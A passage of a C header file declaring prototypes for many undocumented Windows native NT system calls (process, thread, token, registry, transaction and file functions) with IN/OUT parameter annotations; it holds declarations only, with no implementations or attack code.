ACCESS_MASK DesiredAccess); EXTERN_C NTSTATUS NtCreateIoCompletion( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN ULONG Count OPTIONAL); EXTERN_C NTSTATUS NtCreateJobObject( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL); EXTERN_C NTSTATUS NtCreateJobSet( IN ULONG NumJob, IN PJOB_SET_ARRAY UserJobSet, IN ULONG Flags); EXTERN_C NTSTATUS NtCreateKeyTransacted( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG TitleIndex, IN PUNICODE_STRING Class OPTIONAL, IN ULONG CreateOptions, IN HANDLE TransactionHandle, OUT PULONG Disposition OPTIONAL); EXTERN_C NTSTATUS NtCreateKeyedEvent( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN ULONG Flags); EXTERN_C NTSTATUS NtCreateLowBoxToken( OUT PHANDLE TokenHandle, IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PSID PackageSid, IN ULONG CapabilityCount, IN PSID_AND_ATTRIBUTES Capabilities OPTIONAL, IN ULONG HandleCount, IN HANDLE Handles OPTIONAL); EXTERN_C NTSTATUS NtCreateMailslotFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CreateOptions, IN ULONG MailslotQuota, IN ULONG MaximumMessageSize, IN PLARGE_INTEGER ReadTimeout); EXTERN_C NTSTATUS NtCreateMutant( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN BOOLEAN InitialOwner); EXTERN_C NTSTATUS NtCreateNamedPipeFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN BOOLEAN NamedPipeType, IN BOOLEAN ReadMode, IN BOOLEAN CompletionMode, IN ULONG MaximumInstances, IN ULONG InboundQuota, IN ULONG OutboundQuota, IN PLARGE_INTEGER DefaultTimeout OPTIONAL); EXTERN_C NTSTATUS NtCreatePagingFile( IN PUNICODE_STRING PageFileName, IN PULARGE_INTEGER MinimumSize, IN PULARGE_INTEGER MaximumSize, IN ULONG Priority); EXTERN_C NTSTATUS NtCreatePartition( OUT PHANDLE PartitionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN ULONG PreferredNode); EXTERN_C NTSTATUS NtCreatePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, IN ULONG MaxPoolUsage OPTIONAL); EXTERN_C NTSTATUS NtCreatePrivateNamespace( OUT PHANDLE NamespaceHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PVOID BoundaryDescriptor); EXTERN_C NTSTATUS NtCreateProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ParentProcess, IN BOOLEAN InheritObjectTable, IN HANDLE SectionHandle OPTIONAL, IN HANDLE DebugPort OPTIONAL, IN HANDLE ExceptionPort OPTIONAL); EXTERN_C NTSTATUS NtCreateProfile( OUT PHANDLE ProfileHandle, IN HANDLE Process OPTIONAL, IN PVOID ProfileBase, IN ULONG ProfileSize, IN ULONG BucketSize, IN PULONG Buffer, IN ULONG BufferSize, IN KPROFILE_SOURCE ProfileSource, IN ULONG Affinity); EXTERN_C NTSTATUS NtCreateProfileEx( OUT PHANDLE ProfileHandle, IN HANDLE Process OPTIONAL, IN PVOID ProfileBase, IN SIZE_T ProfileSize, IN ULONG BucketSize, IN PULONG Buffer, IN ULONG BufferSize, IN KPROFILE_SOURCE ProfileSource, IN USHORT GroupCount, IN PGROUP_AFFINITY GroupAffinity); EXTERN_C NTSTATUS NtCreateRegistryTransaction( OUT PHANDLE Handle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN DWORD Flags); EXTERN_C NTSTATUS NtCreateResourceManager( OUT PHANDLE ResourceManagerHandle, IN ACCESS_MASK DesiredAccess, IN HANDLE TmHandle, IN LPGUID RmGuid, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN ULONG CreateOptions OPTIONAL, IN PUNICODE_STRING Description OPTIONAL); EXTERN_C NTSTATUS NtCreateSemaphore( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN LONG InitialCount, IN LONG MaximumCount); EXTERN_C NTSTATUS NtCreateSymbolicLinkObject( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING LinkTarget); EXTERN_C NTSTATUS NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); EXTERN_C NTSTATUS NtCreateTimer( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN TIMER_TYPE TimerType); EXTERN_C NTSTATUS NtCreateTimer2( OUT PHANDLE TimerHandle, IN PVOID Reserved1 OPTIONAL, IN PVOID Reserved2 OPTIONAL, IN ULONG Attributes, IN ACCESS_MASK DesiredAccess); EXTERN_C NTSTATUS NtCreateToken( OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN TOKEN_TYPE TokenType, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER User, IN PTOKEN_GROUPS Groups, IN PTOKEN_PRIVILEGES Privileges, IN PTOKEN_OWNER Owner OPTIONAL, IN PTOKEN_PRIMARY_GROUP PrimaryGroup, IN PTOKEN_DEFAULT_DACL DefaultDacl OPTIONAL, IN PTOKEN_SOURCE TokenSource); EXTERN_C NTSTATUS NtCreateTokenEx( OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN TOKEN_TYPE TokenType, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER User, IN PTOKEN_GROUPS Groups, IN PTOKEN_PRIVILEGES Privileges, IN PTOKEN_SECURITY_ATTRIBUTES_INFORMATION UserAttributes OPTIONAL, IN PTOKEN_SECURITY_ATTRIBUTES_INFORMATION DeviceAttributes OPTIONAL, IN PTOKEN_GROUPS DeviceGroups OPTIONAL, IN PTOKEN_MANDATORY_POLICY TokenMandatoryPolicy OPTIONAL, IN PTOKEN_OWNER Owner OPTIONAL, IN PTOKEN_PRIMARY_GROUP PrimaryGroup, IN PTOKEN_DEFAULT_DACL DefaultDacl OPTIONAL, IN PTOKEN_SOURCE TokenSource); EXTERN_C NTSTATUS NtCreateTransaction( OUT PHANDLE TransactionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN LPGUID Uow OPTIONAL, IN HANDLE TmHandle OPTIONAL, IN ULONG CreateOptions OPTIONAL, IN ULONG IsolationLevel OPTIONAL, IN ULONG IsolationFlags OPTIONAL, IN PLARGE_INTEGER Timeout OPTIONAL, IN PUNICODE_STRING Description OPTIONAL); EXTERN_C NTSTATUS NtCreateTransactionManager( OUT PHANDLE TmHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PUNICODE_STRING LogFileName OPTIONAL, IN ULONG CreateOptions OPTIONAL, IN ULONG CommitStrength OPTIONAL); EXTERN_C NTSTATUS NtCreateUserProcess( OUT PHANDLE ProcessHandle, OUT PHANDLE ThreadHandle, IN ACCESS_MASK ProcessDesiredAccess, IN ACCESS_MASK ThreadDesiredAccess, IN POBJECT_ATTRIBUTES ProcessObjectAttributes OPTIONAL, IN POBJECT_ATTRIBUTES ThreadObjectAttributes OPTIONAL, IN ULONG ProcessFlags, IN ULONG ThreadFlags, IN PVOID ProcessParameters OPTIONAL, IN OUT PPS_CREATE_INFO CreateInfo, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); EXTERN_C NTSTATUS NtCreateWaitCompletionPacket( OUT PHANDLE WaitCompletionPacketHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL); EXTERN_C NTSTATUS NtCreateWaitablePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, IN ULONG MaxPoolUsage OPTIONAL); EXTERN_C NTSTATUS NtCreateWnfStateName( OUT PCWNF_STATE_NAME StateName, IN WNF_STATE_NAME_LIFETIME NameLifetime, IN WNF_DATA_SCOPE DataScope, IN BOOLEAN PersistData, IN PCWNF_TYPE_ID TypeId OPTIONAL, IN ULONG MaximumStateSize, IN PSECURITY_DESCRIPTOR SecurityDescriptor); EXTERN_C NTSTATUS NtCreateWorkerFactory( OUT PHANDLE WorkerFactoryHandleReturn, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE CompletionPortHandle, IN HANDLE WorkerProcessHandle, IN PVOID StartRoutine, IN PVOID StartParameter OPTIONAL, IN ULONG MaxThreadCount OPTIONAL, IN SIZE_T StackReserve OPTIONAL, IN SIZE_T StackCommit OPTIONAL); EXTERN_C NTSTATUS NtDebugActiveProcess( IN HANDLE ProcessHandle, IN HANDLE DebugObjectHandle); EXTERN_C NTSTATUS NtDebugContinue( IN HANDLE DebugObjectHandle, IN PCLIENT_ID ClientId, IN NTSTATUS ContinueStatus); EXTERN_C NTSTATUS NtDeleteAtom( IN USHORT Atom); EXTERN_C NTSTATUS NtDeleteBootEntry( IN ULONG Id); EXTERN_C NTSTATUS NtDeleteDriverEntry( IN ULONG Id); EXTERN_C NTSTATUS NtDeleteFile( IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtDeleteKey( IN HANDLE KeyHandle); EXTERN_C NTSTATUS NtDeleteObjectAuditAlarm( IN PUNICODE_STRING SubsystemName, IN PVOID HandleId OPTIONAL, IN BOOLEAN GenerateOnClose); EXTERN_C NTSTATUS NtDeletePrivateNamespace( IN HANDLE NamespaceHandle); EXTERN_C NTSTATUS NtDeleteValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName); EXTERN_C NTSTATUS NtDeleteWnfStateData( IN PCWNF_STATE_NAME StateName, IN PVOID ExplicitScope OPTIONAL); EXTERN_C NTSTATUS NtDeleteWnfStateName( IN PCWNF_STATE_NAME StateName); EXTERN_C NTSTATUS NtDisableLastKnownGood(); EXTERN_C NTSTATUS NtDisplayString( IN PUNICODE_STRING String); EXTERN_C NTSTATUS NtDrawText( IN PUNICODE_STRING String); EXTERN_C NTSTATUS NtEnableLastKnownGood(); EXTERN_C NTSTATUS NtEnumerateBootEntries( OUT PVOID Buffer OPTIONAL, IN OUT PULONG BufferLength); EXTERN_C NTSTATUS NtEnumerateDriverEntries( OUT PVOID Buffer OPTIONAL, IN OUT PULONG BufferLength); EXTERN_C NTSTATUS NtEnumerateSystemEnvironmentValuesEx( IN ULONG InformationClass, OUT PVOID Buffer, IN OUT PULONG BufferLength); EXTERN_C NTSTATUS NtEnumerateTransactionObject( IN HANDLE RootObjectHandle OPTIONAL, IN KTMOBJECT_TYPE QueryType, IN OUT PKTMOBJECT_CURSOR ObjectCursor, IN ULONG ObjectCursorLength, OUT PULONG ReturnLength); EXTERN_C NTSTATUS NtExtendSection( IN HANDLE SectionHandle, IN OUT PLARGE_INTEGER NewSectionSize); EXTERN_C NTSTATUS NtFilterBootOption( IN FILTER_BOOT_OPTION_OPERATION FilterOperation, IN ULONG ObjectType, IN ULONG ElementType, IN PVOID SystemData OPTIONAL, IN ULONG DataSize); EXTERN_C NTSTATUS NtFilterToken( IN HANDLE ExistingTokenHandle, IN ULONG Flags, IN PTOKEN_GROUPS SidsToDisable OPTIONAL, IN PTOKEN_PRIVILEGES PrivilegesToDelete OPTIONAL, IN PTOKEN_GROUPS RestrictedSids OPTIONAL, OUT PHANDLE NewTokenHandle); EXTERN_C NTSTATUS NtFilterTokenEx( IN HANDLE TokenHandle, IN ULONG Flags, IN PTOKEN_GROUPS SidsToDisable OPTIONAL, IN PTOKEN_PRIVILEGES PrivilegesToDelete OPTIONAL, IN PTOKEN_GROUPS RestrictedSids OPTIONAL, IN ULONG DisableUserClaimsCount, IN PUNICODE_STRING UserClaimsToDisable OPTIONAL, IN ULONG DisableDeviceClaimsCount, IN PUNICODE_STRING DeviceClaimsToDisable OPTIONAL, IN PTOKEN_GROUPS DeviceGroupsToDisable OPTIONAL, IN PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedUserAttributes OPTIONAL, IN PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedDeviceAttributes OPTIONAL, IN PTOKEN_GROUPS RestrictedDeviceGroups OPTIONAL, OUT PHANDLE NewTokenHandle); EXTERN_C NTSTATUS NtFlushBuffersFileEx( IN HANDLE FileHandle, IN ULONG Flags, IN PVOID Parameters, IN ULONG ParametersSize, OUT PIO_STATUS_BLOCK IoStatusBlock); EXTERN_C NTSTATUS NtFlushInstallUILanguage( IN LANGID InstallUILanguage, IN ULONG SetComittedFlag); EXTERN_C NTSTATUS NtFlushInstructionCache( IN HANDLE ProcessHandle, IN PVOID BaseAddress OPTIONAL, IN ULONG Length); EXTERN_C NTSTATUS NtFlushKey( IN HANDLE KeyHandle); EXTERN_C NTSTATUS NtFlushProcessWriteBuffers(); EXTERN_C NTSTATUS NtFlushVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID BaseAddress, IN OUT PULONG RegionSize, OUT PIO_STATUS_BLOCK IoStatusBlock); EXTERN_C NTSTATUS NtFlushWriteBuffer(); EXTERN_C NTSTATUS NtFreeUserPhysicalPages( IN HANDLE ProcessHandle, IN OUT PULONG NumberOfPages, IN PULONG UserPfnArray); EXTERN_C NTSTATUS NtFreezeRegistry( IN ULONG TimeOutInSeconds); EXTERN_C NTSTATUS NtFreezeTransactions( IN PLARGE_INTEGER FreezeTimeout, IN PLARGE_INTEGER ThawTimeout); EXTERN_C NTSTATUS NtGetCachedSigningLevel( IN HANDLE File, OUT PULONG Flags, OUT PSE_SIGNING_LEVEL SigningLevel, OUT PUCHAR Thumbprint OPTIONAL, IN OUT PULONG ThumbprintSize OPTIONAL, OUT PULONG ThumbprintAlgorithm OPTIONAL); EXTERN_C NTSTATUS NtGetCompleteWnfStateSubscription( IN PCWNF_STATE_NAME OldDescriptorStateName OPTIONAL, IN PLARGE_INTEGER OldSubscriptionId OPTIONAL, IN ULONG OldDescriptorEventMask OPTIONAL, IN ULONG OldDescriptorStatus OPTIONAL, OUT PWNF_DELIVERY_DESCRIPTOR NewDeliveryDescriptor, IN ULONG DescriptorSize); EXTERN_C NTSTATUS NtGetContextThread( IN HANDLE ThreadHandle, IN OUT PCONTEXT ThreadContext); EXTERN_C NTSTATUS NtGetCurrentProcessorNumber(); EXTERN_C NTSTATUS NtGetCurrentProcessorNumberEx( OUT PULONG ProcNumber OPTIONAL); EXTERN_C NTSTATUS NtGetDevicePowerState( IN HANDLE Device, OUT PDEVICE_POWER_STATE State); EXTERN_C NTSTATUS NtGetMUIRegistryInfo( IN ULONG Flags, IN OUT PULONG DataSize, OUT PVOID SystemData); EXTERN_C NTSTATUS NtGetNextProcess( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewProcessHandle); EXTERN_C NTSTATUS NtGetNextThread( IN HANDLE ProcessHandle, IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewThreadHandle); EXTERN_C NTSTATUS NtGetNlsSectionPtr( IN ULONG SectionType, IN ULONG SectionData, IN PVOID ContextData, OUT PVOID SectionPointer, OUT PULONG SectionSize); EXTERN_C NTSTATUS NtGetNotificationResourceManager( IN HANDLE ResourceManagerHandle, OUT PTRANSACTION_NOTIFICATION TransactionNotification, IN ULONG NotificationLength, IN PLARGE_INTEGER Timeout OPTIONAL, OUT PULONG ReturnLength OPTIONAL, IN ULONG Asynchronous, IN ULONG AsynchronousContext OPTIONAL); EXTERN_C NTSTATUS NtGetWriteWatch( IN HANDLE ProcessHandle, IN ULONG Flags, IN PVOID BaseAddress, IN ULONG RegionSize, OUT PULONG UserAddressArray, IN OUT PULONG EntriesInUserAddressArray, OUT PULONG Granularity); EXTERN_C NTSTATUS NtImpersonateAnonymousToken( IN HANDLE ThreadHandle); EXTERN_C NTSTATUS NtImpersonateThread( IN HANDLE ServerThreadHandle, IN HANDLE ClientThreadHandle, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos); EXTERN_C NTSTATUS NtInitializeEnclave( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID EnclaveInformation, IN ULONG EnclaveInformationLength, OUT PULONG EnclaveError OPTIONAL); EXTERN_C NTSTATUS NtInitializeNlsFiles( OUT PVOID BaseAddress, OUT PLCID DefaultLocaleId, OUT PLARGE_INTEGER DefaultCasingTableSize); EXTERN_C NTSTATUS NtInitializeRegistry( IN USHORT BootCondition); EXTERN_C NTSTATUS NtInitiatePowerAction( IN POWER_ACTION SystemAction, IN SYSTEM_POWER_STATE LightestSystemState, IN ULONG Flags, IN BOOLEAN Asynchronous); EXTERN_C NTSTATUS NtIsSystemResumeAutomatic(); EXTERN_C NTSTATUS NtIsUILanguageComitted(); EXTERN_C NTSTATUS NtListenPort( IN HANDLE PortHandle, OUT PPORT_MESSAGE ConnectionRequest); EXTERN_C NTSTATUS NtLoadDriver( IN PUNICODE_STRING DriverServiceName); EXTERN_C NTSTATUS NtLoadEnclaveData( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T BufferSize, IN ULONG Protect, IN PVOID PageInformation, IN ULONG PageInformationLength, OUT PSIZE_T NumberOfBytesWritten OPTIONAL, OUT PULONG EnclaveError OPTIONAL); EXTERN_C NTSTATUS NtLoadHotPatch( IN PUNICODE_STRING HotPatchName, IN ULONG LoadFlag); EXTERN_C NTSTATUS NtLoadKey( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile); EXTERN_C NTSTATUS NtLoadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags); EXTERN_C NTSTATUS NtLoadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags, IN HANDLE TrustClassKey OPTIONAL, IN HANDLE Event OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL, OUT PHANDLE RootHandle OPTIONAL, OUT PIO_STATUS_BLOCK IoStatus OPTIONAL); EXTERN_C NTSTATUS NtLockFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PULARGE_INTEGER ByteOffset, IN PULARGE_INTEGER Length, IN ULONG Key, IN BOOLEAN FailImmediately, IN BOOLEAN ExclusiveLock); EXTERN_C NTSTATUS NtLockProductActivationKeys( IN OUT PULONG pPrivateVer OPTIONAL, OUT PULONG pSafeMode OPTIONAL); EXTERN_C NTSTATUS NtLockRegistryKey( IN HANDLE KeyHandle); EXTERN_C NTSTATUS NtLockVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PULONG RegionSize, IN ULONG MapType); EXTERN_C NTSTATUS NtMakePermanentObject( IN HANDLE Handle); EXTERN_C NTSTATUS NtMakeTemporaryObject( IN HANDLE Handle); EXTERN_C NTSTATUS NtManagePartition( IN HANDLE TargetHandle, IN HANDLE SourceHandle, IN MEMORY_PARTITION_INFORMATION_CLASS PartitionInformationClass, IN OUT PVOID PartitionInformation, IN ULONG PartitionInformationLength); EXTERN_C NTSTATUS NtMapCMFModule( IN ULONG What, IN ULONG Index, OUT PULONG CacheIndexOut OPTIONAL, OUT PULONG CacheFlagsOut OPTIONAL, OUT PULONG ViewSizeOut OPTIONAL, OUT PVOID BaseAddress OPTIONAL); EXTERN_C NTSTATUS NtMapUserPhysicalPages( IN PVOID VirtualAddress, IN PULONG NumberOfPages, IN PULONG UserPfnArray OPTIONAL); EXTERN_C NTSTATUS NtMapViewOfSectionEx( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PLARGE_INTEGER SectionOffset, IN OUT PPVOID BaseAddress, IN OUT PSIZE_T ViewSize, IN ULONG AllocationType, IN ULONG Protect, IN OUT PVOID DataBuffer OPTIONAL, IN ULONG DataCount); EXTERN_C NTSTATUS NtModifyBootEntry( IN PBOOT_ENTRY BootEntry); EXTERN_C NTSTATUS NtModifyDriverEntry( IN PEFI_DRIVER_ENTRY DriverEntry); EXTERN_C NTSTATUS NtNotifyChangeDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PFILE_NOTIFY_INFORMATION Buffer, IN ULONG Length, IN ULONG CompletionFilter, IN BOOLEAN WatchTree); EXTERN_C NTSTATUS NtNotifyChangeDirectoryFileEx( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, IN DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass OPTIONAL); EXTERN_C NTSTATUS NtNotifyChangeKey( IN HANDLE KeyHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT PVOID Buffer OPTIONAL, IN ULONG BufferSize, IN BOOLEAN Asynchronous); EXTERN_C NTSTATUS NtNotifyChangeMultipleKeys( IN HANDLE MasterKeyHandle, IN ULONG Count OPTIONAL, IN POBJECT_ATTRIBUTES SubordinateObjects OPTIONAL, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT PVOID Buffer OPTIONAL, IN ULONG BufferSize, IN BOOLEAN Asynchronous); EXTERN_C NTSTATUS NtNotifyChangeSession( IN HANDLE SessionHandle, IN ULONG ChangeSequenceNumber, IN PLARGE_INTEGER ChangeTimeStamp, IN IO_SESSION_EVENT Event, IN IO_SESSION_STATE NewState, IN IO_SESSION_STATE PreviousState, IN PVOID Payload OPTIONAL, IN ULONG PayloadSize); EXTERN_C NTSTATUS NtOpenEnlistment( OUT PHANDLE EnlistmentHandle, IN ACCESS_MASK DesiredAccess, IN HANDLE ResourceManagerHandle, IN LPGUID EnlistmentGuid, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL); EXTERN_C NTSTATUS NtOpenEventPair( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenIoCompletion( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenJobObject( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenKeyEx( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG OpenOptions); EXTERN_C NTSTATUS NtOpenKeyTransacted( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE TransactionHandle); EXTERN_C NTSTATUS NtOpenKeyTransactedEx( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG OpenOptions, IN HANDLE TransactionHandle); EXTERN_C NTSTATUS NtOpenKeyedEvent( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenMutant( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenObjectAuditAlarm( IN PUNICODE_STRING SubsystemName, IN PVOID HandleId OPTIONAL, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN ACCESS_MASK GrantedAccess, IN PPRIVILEGE_SET Privileges OPTIONAL, IN BOOLEAN ObjectCreation, IN BOOLEAN AccessGranted, OUT PBOOLEAN GenerateOnClose); EXTERN_C NTSTATUS NtOpenPartition( OUT PHANDLE PartitionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenPrivateNamespace( OUT PHANDLE NamespaceHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PVOID BoundaryDescriptor); EXTERN_C NTSTATUS NtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle); EXTERN_C NTSTATUS NtOpenRegistryTransaction( OUT PHANDLE RegistryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenResourceManager( OUT PHANDLE ResourceManagerHandle, IN ACCESS_MASK DesiredAccess, IN HANDLE TmHandle, IN LPGUID ResourceManagerGuid OPTIONAL, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL); EXTERN_C NTSTATUS NtOpenSemaphore( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenSession( OUT PHANDLE SessionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenSymbolicLinkObject( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL); EXTERN_C NTSTATUS NtOpenTimer( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtOpenTransaction( OUT PHANDLE TransactionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN LPGUID Uow, IN HANDLE TmHandle OPTIONAL); EXTERN_C NTSTATUS NtOpenTransactionManager( OUT PHANDLE TmHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PUNICODE_STRING LogFileName OPTIONAL, IN LPGUID TmIdentity OPTIONAL, IN ULONG OpenOptions OPTIONAL); EXTERN_C NTSTATUS NtPlugPlayControl( IN PLUGPLAY_CONTROL_CLASS PnPControlClass, IN OUT PVOID PnPControlData, IN ULONG PnPControlDataLength); EXTERN_C NTSTATUS NtPrePrepareComplete( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtPrePrepareEnlistment( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtPrepareComplete( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtPrepareEnlistment( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER 